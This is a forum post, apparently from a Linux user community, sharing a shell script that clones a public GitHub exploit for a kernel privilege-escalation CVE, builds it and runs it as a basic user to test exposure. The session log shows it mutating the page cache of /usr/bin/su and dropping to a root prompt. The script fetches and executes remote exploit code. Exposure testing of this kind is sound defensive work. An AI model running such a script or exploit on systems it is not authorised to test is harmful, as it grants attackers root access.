Thank you for that PSA, Halano!
I’ve modified your instruction sequence into something people might be more willing to run. Hope you don’t mind.
Session Log:
$ ./CVE-2026-31431__probe.sh
Cloning into 'copy-fail-c'...
remote: Enumerating objects: 87, done.
remote: Counting objects: 100% (87/87), done.
remote: Compressing objects: 100% (77/77), done.
remote: Total 87 (delta 7), reused 75 (delta 7), pack-reused 0 (from 0)
Receiving objects: 100% (87/87), 102.63 KiB | 2.23 MiB/s, done.
Resolving deltas: 100% (7/7), done.
total 3036
-rwxrwxr-x 1 ericthered ericthered 911848 May 1 16:17 exploit
-rw-rw-r-- 1 ericthered ericthered 3553 May 1 16:17 exploit.c
-rwxrwxr-x 1 ericthered ericthered 1128144 May 1 16:17 exploit-passwd
-rw-rw-r-- 1 ericthered ericthered 4783 May 1 16:17 exploit-passwd.c
-rw-rw-r-- 1 ericthered ericthered 297 May 1 16:17 LICENSE-LGPL
-rw-rw-r-- 1 ericthered ericthered 1066 May 1 16:17 LICENSE-MIT
-rw-rw-r-- 1 ericthered ericthered 6433 May 1 16:17 Makefile
drwxrwxr-x 3 ericthered ericthered 4096 May 1 16:17 nolibc
-rwxrwxr-x 1 ericthered ericthered 1544 May 1 16:17 payload
-rw-rw-r-- 1 ericthered ericthered 1616 May 1 16:17 payload.c
-rw-rw-r-- 1 ericthered ericthered 2152 May 1 16:17 payload.o
-rw-rw-r-- 1 ericthered ericthered 15783 May 1 16:17 README.ja.md
-rw-rw-r-- 1 ericthered ericthered 14085 May 1 16:17 README.ko.md
-rw-rw-r-- 1 ericthered ericthered 11103 May 1 16:17 README.md
-rw-rw-r-- 1 ericthered ericthered 21644 May 1 16:17 README.ru.md
-rw-rw-r-- 1 ericthered ericthered 11055 May 1 16:17 README.zh-cn.md
-rw-rw-r-- 1 ericthered ericthered 4871 May 1 16:17 utils.c
-rw-rw-r-- 1 ericthered ericthered 758 May 1 16:17 utils.h
-rw-rw-r-- 1 ericthered ericthered 4704 May 1 16:17 utils.o
-rwxrwxr-x 1 ericthered ericthered 910408 May 1 16:17 vulnerable
-rw-rw-r-- 1 ericthered ericthered 3454 May 1 16:17 vulnerable.c
Number of processing units: 4 ...
Opportunity to review contents of directory 'copy-fail-c' ...
When ready, hit return to run 'make -j 4' ...
make: Nothing to be done for 'all'.
RC = 0
Test executable created:
./exploit:
ELF 64-bit LSB executable,
x86-64,
version 1 (GNU/Linux),
statically linked,
BuildID[sha1]=cc7c6780fdc4ad2278744b0d33437791cff3814b,
for GNU/Linux 3.2.0,
not stripped
Attempt as basic user ...
[+] target: /usr/bin/su
[+] payload: 1544 bytes (386 iterations)
[+] page cache mutated; exec'ing target
#
EDIT:
So, for me, it could not perform the specified test.
So, prior to performing any system updates, with the “#” prompt showing, my system is confirmed to be exposed!
Script: CVE-2026-31431__probe.sh
#!/bin/sh
###
### Version 2
### - incorporated mod identified by Pavlos
### - some logic changes for cleaner execution and reporting
###
tabs -8
#set -x
getUser()
{
for users in $( cd /home ; ls | grep -xE '[[:alpha:]]+' )
do
grep '^'${users} /etc/passwd
done |
cut -f1-3 -d\: | sort -n -t ":" -k3.1,4.0 | head -1 | cut -f1 -d\:
}
bypass=0
if [ "$( whoami )" = "root" ]
then
user=$( getUser )
test -z "${user}" && { echo "\n Unable to identify basic user ID [null] for testing of CVE.\n" ; exit 1 ; }
test "${user}" = "root" && { echo "\n Unable to identify basic user ID [root] for testing of CVE.\n" ; exit 1 ; }
echo "\n\t Identified test user ID: ${user} ...\n\n\t Continue ? [y|N] => \c" ; read ans
test -z "${ans}" && ans="N"
case "${ans}" in
y* | Y* ) echo "" ;;
* ) echo "\n\t Probe for CVE test ... ABANDONED!\n" ; exit 2 ;;
esac
else
bypass=1
fi
if [ -d copy-fail-c ]
then
echo "\n\t Using previously downloaded files for CVE testing ...\n"
else
git clone --depth 1 https://github.com/tgies/copy-fail-c
test $? -eq 0 || { echo "\n\t FAILED: unable to download files required for test from GitHub! ABANDONED!\n" ; exit 1 ; }
fi
cd copy-fail-c
ls -l
nProc=$(nproc)
echo "\n\t Number of processing units: ${nProc} ..."
echo "\n\t Opportunity to review contents of directory 'copy-fail-c' ... \n\n\t When ready, hit return to run 'make -j ${nProc}' ... \c" ; read k
make -j "${nProc}" | awk '{ if( NR == 1 ){ print "" } ; printf("\t %s\n", $0 ) ; }'
RC=$?
echo "\t RC = ${RC}"
test ${RC} -eq 0 || { echo "\n\t FAILED: unable to successfully run 'make -j ${nProc}'. \n\n\t Test suite not designed to test current HOST configuration/installation ... \n\n\t UNABLE TO DETERMINE DEGREE OF EXPOSURE!\n" ; exit 1 ; }
if [ -s "./exploit" ]
then
echo "\n\t Test executable created:\n"
file ./exploit | awk '{
pos=index( $0, ":" ) ;
beg=substr( $0, 1, pos );
rem=substr( $0, pos+2 ) ;
gsub( ", ", ",\n\t\t", rem ) ;
printf("\t %s\n\t\t%s\n", beg, rem ) ; }'
else
echo "\n\t FAILED: Did not create usable executable code './exploit' ... \n\n\t UNABLE TO DETERMINE DEGREE OF EXPOSURE!\n" ; exit 1
fi
#echo "\n\t Contents of './exploit' :\n"
#awk '{ printf("\t| %s\n", $0 ) }' ./exploit
#
#echo "\n\t Opportunity to review contents of file './exploit' ... \n\n\t When ready, hit return to run './exploit' ... \c" ; read k
test ${bypass} -eq 0 && {
echo "\n Attempt as root ..."
su --login ${user} --command="./exploit" ;
} || {
echo "\n Attempt as user ..."
./exploit ;
}
exit 0
